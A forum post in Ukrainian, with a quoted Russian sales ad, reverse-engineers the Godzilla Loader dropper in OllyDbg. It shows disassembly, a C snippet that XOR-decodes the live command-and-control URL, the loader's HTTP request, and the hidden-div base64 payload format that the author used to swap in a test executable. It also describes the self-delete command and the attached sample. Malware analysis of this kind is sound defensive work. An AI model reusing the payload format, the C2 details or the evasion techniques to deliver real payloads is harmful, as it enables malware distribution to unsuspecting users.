Тема: Реверс Godzilla Loader
Godzilla Loader – современный загрузчик-дропер, который позволяет скачивать неограниченное количество файлов в обход большинства видов AV-защиты.
Приложение работает без внедрения кода в чужие процессы, что является уникальным отличием в сравнении с другими схожими продуктами на рынке. Создавая не видимую для пользователя копию браузера, Godzilla Loader выполняет всю работу с сетью в контексте доверенного процесса браузера без внедрения своего кода. Приложение сохраняет на диск и запускает все загруженные ЕХЕ-файлы, после чего – самоудаляется.Написан на чистом Си и WinAPI
Обход большинства видов AV-защиты: ASLR, DEP, HIPS
Загрузка и запуск под low IL(повышение привелегий через WMI)Лицензия: 750$
Тема продажу - _https://damagelab.org/index.php?showtopic=26436
Першоджерелом виявився JS-лоадер (https://www.hybrid-analysis.com/sample/ … b54cd911d2), який безпосередньо завантажував саму Годзілу, а той у свою чергу інші файли на побажання оператора ботнету.
Перейдемо до пункту Hybrid Analysis, де ми бачимо як javascript виконує якийсь файл mateInvestment.scr. Завантажимо його (пункт Extracted Files).
Файл розміром 6 кб., має дві секції
"0" - код, "1" - імпорт
ентропія в нормі
семпл не першої свіжості, і сильно палений - https://virustotal.com/ru/file/a6a09e7a … 461147097/. Лінкер має версію 10.00 + "Написан на чистом Си и WinAPI" = побудовано Visual Studio. Дотичних ознак достатньо, перейдемо до відладчика. Я використовую OllyDbg.
На перший погляд немає ніяких слідів захисту коду
_EP /$ 55 push ebp
0040151C |. 8BEC mov ebp, esp
0040151E |. 81EC 98090000 sub esp, 998
00401524 |. 53 push ebx
00401525 |. 56 push esi
00401526 |. 57 push edi
00401527 |. 33DB xor ebx, ebx
00401529 |. 53 push ebx
0040152A |. FF15 A4204000 call dword ptr [<&ole32.CoInitialize>]
00401530 |. 68 07800000 push 8007 ; /Mode = SEM_FAILCRITICALERRORS|SEM_NOGPFAULTERRORBOX|SEM_NOALIGNMENTFAULTEXCEPT|SEM_NOOPENFILEERRORBOX
00401535 |. FF15 6C204000 call dword ptr [<&KERNEL32.SetErrorMode>] ; \KERNEL32.SetErrorMode
0040153B |. 8D45 84 lea eax, [ebp-7C]
0040153E |. 50 push eax ; /TokenHandle = NULL
0040153F |. 6A 28 push 28 ; |DesiredAccess = TOKEN_QUERY|TOKEN_ADJUST_PRIVILEGES
00401541 |. C745 9C 53654368 mov dword ptr [ebp-64], 68436553 ; |
00401548 |. C745 A0 616E6765 mov dword ptr [ebp-60], 65676E61 ; |
0040154F |. C745 A4 4E6F7469 mov dword ptr [ebp-5C], 69746F4E ; |
00401556 |. C745 A8 66795072 mov dword ptr [ebp-58], 72507966 ; |
0040155D |. C745 AC 6976696C mov dword ptr [ebp-54], 6C697669 ; |
00401564 |. C745 B0 65676500 mov dword ptr [ebp-50], 656765 ; |
0040156B |. FF15 68204000 call dword ptr [<&KERNEL32.GetCurrentProcess>] ; |[KERNEL32.GetCurrentProcess
00401571 |. 50 push eax ; |ProcessHandle = NULL
00401572 |. FF15 08204000 call dword ptr [<&ADVAPI32.OpenProcessToken>] ; \ADVAPI32.OpenProcessToken
00401578 |. 6A 01 push 1 ; /Arg3 = 1
0040157A |. 8D45 9C lea eax, [ebp-64] ; |
0040157D |. 50 push eax ; |Arg2 = 0
0040157E |. FF75 84 push dword ptr [ebp-7C] ; |Arg1 = 0
00401581 |. E8 81FCFFFF call 00401207 ; \malware.00401207
хіба що строки у явному вигляді не зберігаються, а генеруються динамічно. Це
00401541 |. C745 9C 53654368 mov dword ptr [ebp-64], 68436553 ; |
00401548 |. C745 A0 616E6765 mov dword ptr [ebp-60], 65676E61 ; |
0040154F |. C745 A4 4E6F7469 mov dword ptr [ebp-5C], 69746F4E ; |
00401556 |. C745 A8 66795072 mov dword ptr [ebp-58], 72507966 ; |
0040155D |. C745 AC 6976696C mov dword ptr [ebp-54], 6C697669 ; |
00401564 |. C745 B0 65676500 mov dword ptr [ebp-50], 656765 ; |
формує "SeChangeNotifyPrivilege" для "Enabling and Disabling Privileges" по адресу 00401581.
00401591 - підвищення прав через WMI - іншими словами набридає користувачеві віконцем допоки останній не натисне "Так".
004015A8 - тут іде завантаження atl.dll із подальшим знаходженням адрес функцій AtlAxWinInit та AtlAxGetControl. Як я зрозумів, цитую вікі:
Active Template Library (ATL) — набор шаблонных классов языка C++, разработанных компанией Microsoft для упрощения написания COM-компонентов
саме через ATL відбувається обхід усіх засобів захисту. Сам автор опублікував наступну статистику:
00401600 - виконання AtlAxWinInit, у msdn читаємо примітку
This function must be called before using the ATL control hosting API. Following a call to this function, the "AtlAxWin" window class can be used in calls to CreateWindow or CreateWindowEx, as described in the Windows SDK.
саме після цього, виконується CreateWindowEx із наступними аргументами
0012F5EC /00000000 .... ; |ExtStyle = 0
0012F5F0 |0012FE80 Ђю. ; |ClassName = "AtlAxWin"
0012F5F4 |0012FE50 Pю. ; |WindowName = "shell.view"
0012F5F8 |88000000 ...€ ; |Style = WS_POPUP|WS_DISABLED
0012F5FC |00000000 .... ; |X = 0
0012F600 |00000000 .... ; |Y = 0
0012F604 |00000000 .... ; |Width = 0
0012F608 |00000000 .... ; |Height = 0
0012F60C |00000000 .... ; |hParent = NULL
0012F610 |00000000 .... ; |hMenu = NULL
0012F614 |00000000 .... ; |hInst = NULL
0012F618 |00000000 .... ; \lParam = NULL
Через відсутність досвіду праці із C++ та ATL опишу так: 0040166A - виклик AtlAxGetControl що заповнює ** на IUnknown, куди він зберігає вказівник на якийсь метод, котрий виконується із такими аргументами:
- **IUnknown (по ООП це буде як вказівник на самого себе, тобто this);
- вказівник на IID IWebBrowser2;
- void*.
а ось і сам Interface Identifiers IWebBrowser2 (як і писав автор "Создавая не видимую для пользователя копию браузера")
00401685 |. B9 AFCD0000 mov ecx, 0CDAF
0040168A |. 52 push edx
0040168B |. C785 70FFFFFF 61160CD3 mov dword ptr [ebp-90], D30C1661
00401695 |. 66:898D 74FFFFFF mov word ptr [ebp-8C], cx
0040169C |. C785 76FFFFFF D0118A3E mov dword ptr [ebp-8A], 3E8A11D0
004016A6 |. C785 7AFFFFFF 00C04FC9 mov dword ptr [ebp-86], C94FC000
004016B0 |. 66:C785 7EFFFFFF E26E mov word ptr [ebp-82], 6EE2
останній виклик у свою чергу заповнює IUnknown, із якого знову робиться виклик якогось методу. Одним словом маніпуляції із нутрощами класів, які від прикладного розробника виконуються потаємно.
0040183A - розшифровка (xor) динамічно побудованого буфера (адреса командного серверу) із wchar_t ключем L"GODZILLA". У нашому варіанті семплу це домен "_http://starwoodhotels.site/g.php".
// http://starwoodhotels.site/g.php
static wchar_t url[] = {
0x002F, 0x003B, 0x0030, 0x002A, 0x0073, 0x0063, 0x0063, 0x0032, 0x0033, 0x002E, 0x0036, 0x002D,
0x0026, 0x0023, 0x0028, 0x0029, 0x0028, 0x003B, 0x0021, 0x0036, 0x003A, 0x0062, 0x003F, 0x0028,
0x0033, 0x002A, 0x006B, 0x003D, 0x0067, 0x003C, 0x0024, 0x0031, 0x0000
};
static wchar_t key[] = L"GODZILLA";
int main(void)
{
size_t u = wcslen(url),
k = wcslen(key);
for (size_t i = 0; i < u; url[i] ^= key[i % k], ++i);
wprintf(L"%ls\n", url);
return 0;
}
далі TranslateMessage/DispatchMessageW/GetMessageW якщо false, повторюємо, почавши із розшифровки url, знову false - завершуємося, інакше вантажить html-файл із таким запитом
GET /***.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
If-Modified-Since: Wed, 20 Apr 2016 07:35:29 GMT
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: ***
Connection: Keep-Alive
004019C8 - декодує назву файлу із base64 за допомогою CryptStringToBinaryW, 004019E7 - те саме, тільки декодує корисне навантаження. Далі отримуємо шлях до Temp, створюємо файл (із ім'ям із стадії 004019C8), пишемо в нього буфер що розшифрувався на 004019E7, та запускаємо його. У кінці лоадер робить харакірі "/c del malware.bin >> NUL".
Щодо payload. Якщо на hybrid-analysis придивитися до пункту Extracted Strings, можна побачити елементи html-документа. Експериментальним шляхом я довідався, що він має наступний формат (тут я додав свій payload - простий MessageBox)
<!-- корисне навантаження, exe-файл у base64 -->
<div style="display:none" id="d" name="d">
TVqAAAEAAAAEABAA//8AAEABAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQokAAAAAAAAAABQRQAATAEBAGYtF1cAAAAAAAAAAOAADwELAQFHAAAAAAAAAAAAAAAAlhAAAAAAAAAAAAAAAABAAAAQAAAAAgAAAQAAAAAAAAAFAAEAAAAAAAAgAAAAAgAAYTwAAAIAAAAAEAAAABAAAAAAAQAAAAAAAAAAABAAAAAAAAAAAAAAAAAQAAC+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAvgAAAAAQAAAAAgAAAAIAAAAAAAAAAAAAAAAAAAAAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABYEAAAAAAAAAAAAAA8EAAAYBAAAHgQAAAAAAAAAAAAAEgQAACAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB1c2VyMzIuZGxsAABrZXJuZWwzMi5kbGwAAAAAaBAAAAAAAABoEAAAAAAAAAAATWVzc2FnZUJveEEAAACIEAAAAAAAAIgQAAAAAAAAAABFeGl0UHJvY2VzcwBqAGi6EEAAaLIQQABqAP8VYBBAAGoA/xWAEEAAcmVwbGFjZQAtX14AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
</div>
<!-- назва файлу який бот стврить у Temp та запустить ("replace_payload.exe") -->
<div style="display:none" id="s" name="s">cmVwbGFjZV9wYXlsb2FkLmV4ZQ==</div>
Заради тесту я поставив бряк на 0040183F, отримав у EDX адресу буфера із розшифрованим url, замінив його на свій сервер із вищезазначеним корисним навантаженням на html, F9....
Метод цікавий, захист ніякий - це сприятиме розкрученню та використанню обходу іншими особами, що робить ціну у 750$ неактуальною.
end.
Семпл прикріплено, пароль до архіву - infected